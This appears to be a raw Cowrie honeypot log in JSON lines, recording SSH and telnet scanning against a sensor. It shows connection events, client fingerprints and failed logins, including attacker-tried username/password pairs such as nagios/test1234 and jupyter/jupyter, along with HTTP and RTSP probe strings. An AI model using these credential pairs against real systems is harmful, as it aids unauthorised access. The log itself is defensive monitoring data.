{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:31:33.347368Z","src_ip":"58.186.20.143","session":"8e7477ac281c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:31:33.592875Z","src_ip":"58.186.20.143","session":"8e7477ac281c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"Aa123456","message":"login attempt [server1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:31:34.604803Z","src_ip":"58.186.20.143","session":"8e7477ac281c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:31:35.851854Z","src_ip":"58.186.20.143","session":"8e7477ac281c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":40258,"dst_ip":"10.17.0.5","dst_port":22,"session":"71c28e37f648","protocol":"ssh","message":"New connection: 160.251.185.39:40258 (10.17.0.5:22) [session: 71c28e37f648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:45.830043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:45.834898Z","src_ip":"160.251.185.39","session":"71c28e37f648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:46.021881Z","src_ip":"160.251.185.39","session":"71c28e37f648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":46278,"dst_ip":"159.203.135.109","dst_port":22,"session":"5743b50f6227","protocol":"ssh","message":"New connection: 101.47.159.125:46278 (159.203.135.109:22) [session: 5743b50f6227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:46.646198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:46.650917Z","src_ip":"101.47.159.125","session":"5743b50f6227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"test1234","message":"login attempt [nagios/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:46.802824Z","src_ip":"160.251.185.39","session":"71c28e37f648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:46.889692Z","src_ip":"101.47.159.125","session":"5743b50f6227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"admin","message":"login attempt [teamspeak/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:47.877403Z","src_ip":"101.47.159.125","session":"5743b50f6227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:47.992385Z","src_ip":"160.251.185.39","session":"71c28e37f648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:49.119198Z","src_ip":"101.47.159.125","session":"5743b50f6227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":13058,"dst_ip":"10.17.0.5","dst_port":23,"session":"123c952777dd","protocol":"telnet","message":"New connection: 35.241.178.191:13058 (10.17.0.5:23) [session: 123c952777dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:59.422122Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":13060,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce203f1d787","protocol":"telnet","message":"New connection: 35.241.178.191:13060 (10.17.0.5:23) [session: dce203f1d787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:59.576825Z"}
{"eventid":"cowrie.session.closed","duration":0.005813121795654297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:59.582474Z","src_ip":"35.241.178.191","session":"dce203f1d787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":13068,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdb89aee945","protocol":"telnet","message":"New connection: 35.241.178.191:13068 (10.17.0.5:23) [session: 7cdb89aee945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:32:59.734073Z"}
{"eventid":"cowrie.session.closed","duration":10.512870788574219,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:09.934867Z","src_ip":"35.241.178.191","session":"123c952777dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26194,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78941283528","protocol":"telnet","message":"New connection: 35.241.178.191:26194 (10.17.0.5:23) [session: d78941283528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:18.891072Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:18.897089Z","src_ip":"35.241.178.191","session":"d78941283528","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:18.901715Z","src_ip":"35.241.178.191","session":"d78941283528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0895392894744873,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:18.980506Z","src_ip":"35.241.178.191","session":"d78941283528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26208,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37a46c134eb","protocol":"telnet","message":"New connection: 35.241.178.191:26208 (10.17.0.5:23) [session: f37a46c134eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.057391Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26220,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f2c57d713e","protocol":"telnet","message":"New connection: 35.241.178.191:26220 (10.17.0.5:23) [session: 35f2c57d713e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.213384Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26232,"dst_ip":"10.17.0.5","dst_port":23,"session":"5151360a20cf","protocol":"telnet","message":"New connection: 35.241.178.191:26232 (10.17.0.5:23) [session: 5151360a20cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.369363Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26234,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce27768da3c","protocol":"telnet","message":"New connection: 35.241.178.191:26234 (10.17.0.5:23) [session: 6ce27768da3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.524417Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26238,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af6a2923c1f","protocol":"telnet","message":"New connection: 35.241.178.191:26238 (10.17.0.5:23) [session: 4af6a2923c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.679563Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26250,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c3d331d95b","protocol":"telnet","message":"New connection: 35.241.178.191:26250 (10.17.0.5:23) [session: 79c3d331d95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.835088Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b5c9bc672d","protocol":"telnet","message":"New connection: 35.241.178.191:26262 (10.17.0.5:23) [session: b2b5c9bc672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:19.989607Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1f45c362f3","protocol":"ssh","message":"New connection: 80.94.92.186:45782 (10.17.0.5:22) [session: ba1f45c362f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.140453Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26266,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bbfe0651907","protocol":"telnet","message":"New connection: 35.241.178.191:26266 (10.17.0.5:23) [session: 0bbfe0651907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.145788Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26278,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6f334be3b0","protocol":"telnet","message":"New connection: 35.241.178.191:26278 (10.17.0.5:23) [session: 1a6f334be3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.300578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.375167Z","src_ip":"80.94.92.186","session":"ba1f45c362f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.382847Z","src_ip":"80.94.92.186","session":"ba1f45c362f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0023aa16fbd","protocol":"telnet","message":"New connection: 35.241.178.191:26292 (10.17.0.5:23) [session: a0023aa16fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.537208Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26302,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b2b707c484b","protocol":"telnet","message":"New connection: 35.241.178.191:26302 (10.17.0.5:23) [session: 9b2b707c484b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.694560Z"}
{"eventid":"cowrie.session.closed","duration":0.005143642425537109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.699554Z","src_ip":"35.241.178.191","session":"9b2b707c484b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad2fec4870e","protocol":"telnet","message":"New connection: 35.241.178.191:26310 (10.17.0.5:23) [session: 5ad2fec4870e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:20.849563Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26312,"dst_ip":"10.17.0.5","dst_port":23,"session":"4664f34c2eea","protocol":"telnet","message":"New connection: 35.241.178.191:26312 (10.17.0.5:23) [session: 4664f34c2eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.003253Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26322,"dst_ip":"10.17.0.5","dst_port":23,"session":"417dd35ac034","protocol":"telnet","message":"New connection: 35.241.178.191:26322 (10.17.0.5:23) [session: 417dd35ac034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.159492Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cbafcc2ad3b","protocol":"telnet","message":"New connection: 35.241.178.191:26334 (10.17.0.5:23) [session: 2cbafcc2ad3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.312941Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26350,"dst_ip":"10.17.0.5","dst_port":23,"session":"56f66a812d71","protocol":"telnet","message":"New connection: 35.241.178.191:26350 (10.17.0.5:23) [session: 56f66a812d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.468741Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":26356,"dst_ip":"10.17.0.5","dst_port":23,"session":"9767c791c50f","protocol":"telnet","message":"New connection: 35.241.178.191:26356 (10.17.0.5:23) [session: 9767c791c50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.622419Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2064,"dst_ip":"10.17.0.5","dst_port":23,"session":"2929fc67db7d","protocol":"telnet","message":"New connection: 35.241.178.191:2064 (10.17.0.5:23) [session: 2929fc67db7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.779884Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2068,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8cb35fe774e","protocol":"telnet","message":"New connection: 35.241.178.191:2068 (10.17.0.5:23) [session: a8cb35fe774e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:21.933807Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2076,"dst_ip":"10.17.0.5","dst_port":23,"session":"de59753155af","protocol":"telnet","message":"New connection: 35.241.178.191:2076 (10.17.0.5:23) [session: de59753155af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.089212Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.094085Z","src_ip":"35.241.178.191","session":"de59753155af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.108528Z","src_ip":"80.94.92.186","session":"ba1f45c362f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2090,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d21fb008da5","protocol":"telnet","message":"New connection: 35.241.178.191:2090 (10.17.0.5:23) [session: 0d21fb008da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.247916Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2102,"dst_ip":"10.17.0.5","dst_port":23,"session":"900be6c8107e","protocol":"telnet","message":"New connection: 35.241.178.191:2102 (10.17.0.5:23) [session: 900be6c8107e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.403237Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2104,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae06644c0a2","protocol":"telnet","message":"New connection: 35.241.178.191:2104 (10.17.0.5:23) [session: eae06644c0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.559898Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d92ba3452f2","protocol":"telnet","message":"New connection: 35.241.178.191:2112 (10.17.0.5:23) [session: 0d92ba3452f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.716772Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2120,"dst_ip":"10.17.0.5","dst_port":23,"session":"147d1482c388","protocol":"telnet","message":"New connection: 35.241.178.191:2120 (10.17.0.5:23) [session: 147d1482c388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:22.884838Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2122,"dst_ip":"10.17.0.5","dst_port":23,"session":"da720af7d240","protocol":"telnet","message":"New connection: 35.241.178.191:2122 (10.17.0.5:23) [session: da720af7d240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.038617Z"}
{"eventid":"cowrie.session.closed","duration":0.0046923160552978516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.043193Z","src_ip":"35.241.178.191","session":"da720af7d240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2138,"dst_ip":"10.17.0.5","dst_port":23,"session":"9890f4e6ac3c","protocol":"telnet","message":"New connection: 35.241.178.191:2138 (10.17.0.5:23) [session: 9890f4e6ac3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.194498Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.321433Z","src_ip":"80.94.92.186","session":"ba1f45c362f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.178.191","src_port":2146,"dst_ip":"10.17.0.5","dst_port":23,"session":"21dcccbb4b03","protocol":"telnet","message":"New connection: 35.241.178.191:2146 (10.17.0.5:23) [session: 21dcccbb4b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.351526Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4220","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4220] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:23.355966Z","src_ip":"35.241.178.191","session":"21dcccbb4b03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2131679058074951,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.564586Z","src_ip":"35.241.178.191","session":"21dcccbb4b03","protocol":"telnet"}
